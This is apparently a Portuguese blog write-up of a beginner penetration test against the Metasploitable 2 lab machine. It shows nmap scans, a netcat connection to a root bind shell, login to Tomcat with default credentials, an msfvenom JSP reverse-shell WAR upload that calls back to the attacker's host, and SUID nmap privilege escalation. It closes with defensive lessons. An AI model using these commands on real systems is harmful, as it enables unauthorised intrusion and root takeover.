Metasploitable 2 parte 1!

Como o título anuncia hoje o exercício de pentest será em um dos laboratórios mais comuns para iniciantes na área de pentest e hacking ético — Metasploitable 2.

Essa máquina virtual foi criada com intuito de aprendizagem e é mantida pela Rapid7, empresa de softwares para segurança tendo como uma das principais ferramentas o scanner de vulnerabilidades Nexpose. Vou falar um pouco sobre o Nexpose por ter sido um software que usei muito e uma das melhores opções para você testar em seu ambiente uma vez que a versão trial permite que você escaneie mais de 1000 IPs em sua rede.

Os resultados sempre foram poderosos e precisos, auxiliando bastante em pentests e para administradores de Tecnologia em geral essa ferramenta pode ajudar você de maneira gratuita a obter um panorama de risco dos seus ativos ao mesmo tempo que propõe tarefas de remediação e dashboards concisos e bem estruturados.

Eu ja testei a primeira versão do Metasploitable no passado porém sem aprofundar em todos os vetores de ataques disponíveis pois são muitos. O cenário não parece ter mudado nessa segunda versão. Muitos serviços com versões desatualizadas que podem facilmente serem invadidas e principalmente usando o Metasploit — outro projeto mantido pela Rapid7 — extremamente poderoso e necessário para profissionais de segurança. Naturalmente eu evito usar metasploit em exercícios e tenho o hábito de testar manualmente e caso eu precise de algum exploit eu trabalho de forma "pura", mas em engajamentos com curto prazo de execução o Metasploit e Scanners de vulnerabilidades são amplamente utilizados pois otimizam os testes e trazem resultados rápidos.

Todas as técnicas aqui apresentadas são iniciantes, possivelmente não são as melhores estratégias para ambientes mais controlados e maduros em segurança.

Sendo assim é hora de sujar as mãos. Kali e Mestasploitable2 ligados e se comunicando em NAT temos os seguintes IPs:

Kali — 192.168.52.134 Metasploit — 192.168.52.135

Todo início começa com port scanning. Eu gosto de realizar o nmap em 3 níveis e salvar seus resultados em arquivos de texto, isso me ajuda a ter algum material de trabalho no primeiro scan que é o mais rápido.

nmap 192.168.52.135 -oN nmap1.txt

Os resultados me surpreenderam pelo volume serviços expostos e alguns protocolos que cumprem a mesma função, isso já se torna um mal indício de segurança. O próximo nmap usa os scripts comuns e busca por versoes de serviços:

nmap -sC -sV 192.168.52.135 -oN nmap2.txt

Eu deveria buscar por mais portas e serviços, mas acho que ja tenho material suficiente para esse post.

Eu não esperava por isso, uma bind shell com banner de Root Shell.

Na perspectiva de segurança e em ambientes de produção isso dificilmente aconteceria. É possível se conectar diretamente a uma bind shell usando netcat: nc -nv 192.168.52.135 1524

O resultado é exatamente o proposto pelo banner.

Ok, uma bind shell como root não vai contar.

Uma coisa é fato, antes de explorar qualquer serviço, uma péssima pratica de segurança pode ser percebida: Vários serviços com a mesma funcionalidade, ftp, smb, nfs e banco de dados, alem de varias aplicações. Na porta 8180 existe um Tomcat instalado, resolvi explorar esse serviço primeiro.

A versão do servidor web é 5.5 Antes de procurar por CVEs vou buscar algumas informações na página principal.

No menu de administração você pode perceber 3 opções — Status; Tomcat Administration; Tomcat Manager Ao acessar essas opções e usar credenciais padrão para o servidor web — tomcat:tomcat — foi possível acessar duas áreas administrativas.

Ambas se conectam mas a console que conheço é essa:

Uma das formas mais poderosas para invasões são os ´File Uploads', você diretamente envia arquivos no servidor web, nesse contexto vou tentar explorar essa função. Fazendo uma breve pesquisa sobre a extensão sobre arquivos .war cheguei a conclusão de que esse formato pode ser muito bem interpretado pelo servidor e como um atacante ja busco uma forma de realizar um upload de shell reversa nesse contexto.

Usando o Msfvenom para geração do payload em .jsp e convertendo para .war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.52.134 LPORT=6666 -f war > reverse.war

Tentar o primeiro teste de upload do arquivo Upload bem sucedido e o arquivo ja aparece na console de administração do CMS.

Agora vou deixar um listener com netcat pronto e abrir o arquivo no navegador.

Conexão recebida, perfeito.

Execução de código remota bem sucedida e estamos com usuário tomcat55

Nesse momento é importante realizar o upgrade de shell pra melhor navegação, vai facilitar muito a vida.

/usr/bin/script -qc /bin/bash /dev/null

Bem melhor!

Com comando whoami e pwd temos uma noção de quem somos e onde estamos no servidor. Mas ainda não somos usuário root e preciso escalar privilégio para conquistar todos os recursos do sistema. Por se tratar de metasploitable quase todo vetor deve funcionar, eu também poderia me aprofundar na enumeração do novo acesso ou executar o Linpeas na máquina alvo, mas vou tentar algum vetor de maneira bem manual.

Primeira coisa que tento é verificar quais arquivos possuem SUID usando o comando:

find / -type f -perm -4000 2>/dev/null

Nmap possui uma maneira de invocar uma shell e tem permissão SUID, ao tentar escalar privilégio com a shell melhorada eu perdia a conexão e não busquei uma forma de resolver, tentei através da shell remota inicial.

nmap — interactive !sh

Root! Escalação de privilégios bem sucedida. Controle total do servidor através dessa shell.

Vou fazer um resumo dos principais conceitos abordados aqui:

. Máquinas virtuais para testes são ótimo laboratórios de aprendizagem, assim como serviços online: Hackthebox, Tryhackme, Proving Grounds e Vulnhub. . Scanner de vulnerabilidades e Metasploit são fundamentais para testes de segurança com escopo fechado. . Nmap é um port scanner fundamental mas pode não funcionar bem em ambientes controlados. . Ainda sobre escanear portas: É importante verificar por todas as portas TCP e UDP. . Netcat também muito importante. . Bind shells permitem conexão direta e são assim por concepção. . Nunca utilizar autenticação padrão para sistemas importantes. . Upgrades de shell ajudam muito. . O comando "find / -type f -perm -4000 2>/dev/null" é simples mas muito poderoso. . O metasploitable possui o nmap em uma versão mais antiga permitia a shell interativa que aliada ao bit SUID permitiu o controle total da máquina.

Esse resumo condensa vários conceitos que podem ser aprofundados e tratados em outros posts, demonstrando a complexidade da segurança da informação mesmo em técnicas iniciantes. É essencial que controles de segurança sejam implementados e testados regularmente com pentests e outras formas de auditoria, validar tais vetores de ataque é fundamental para uma estrutura de tecnologia robusta e resilienta a ataques.

Por hoje é só. Happy hacking.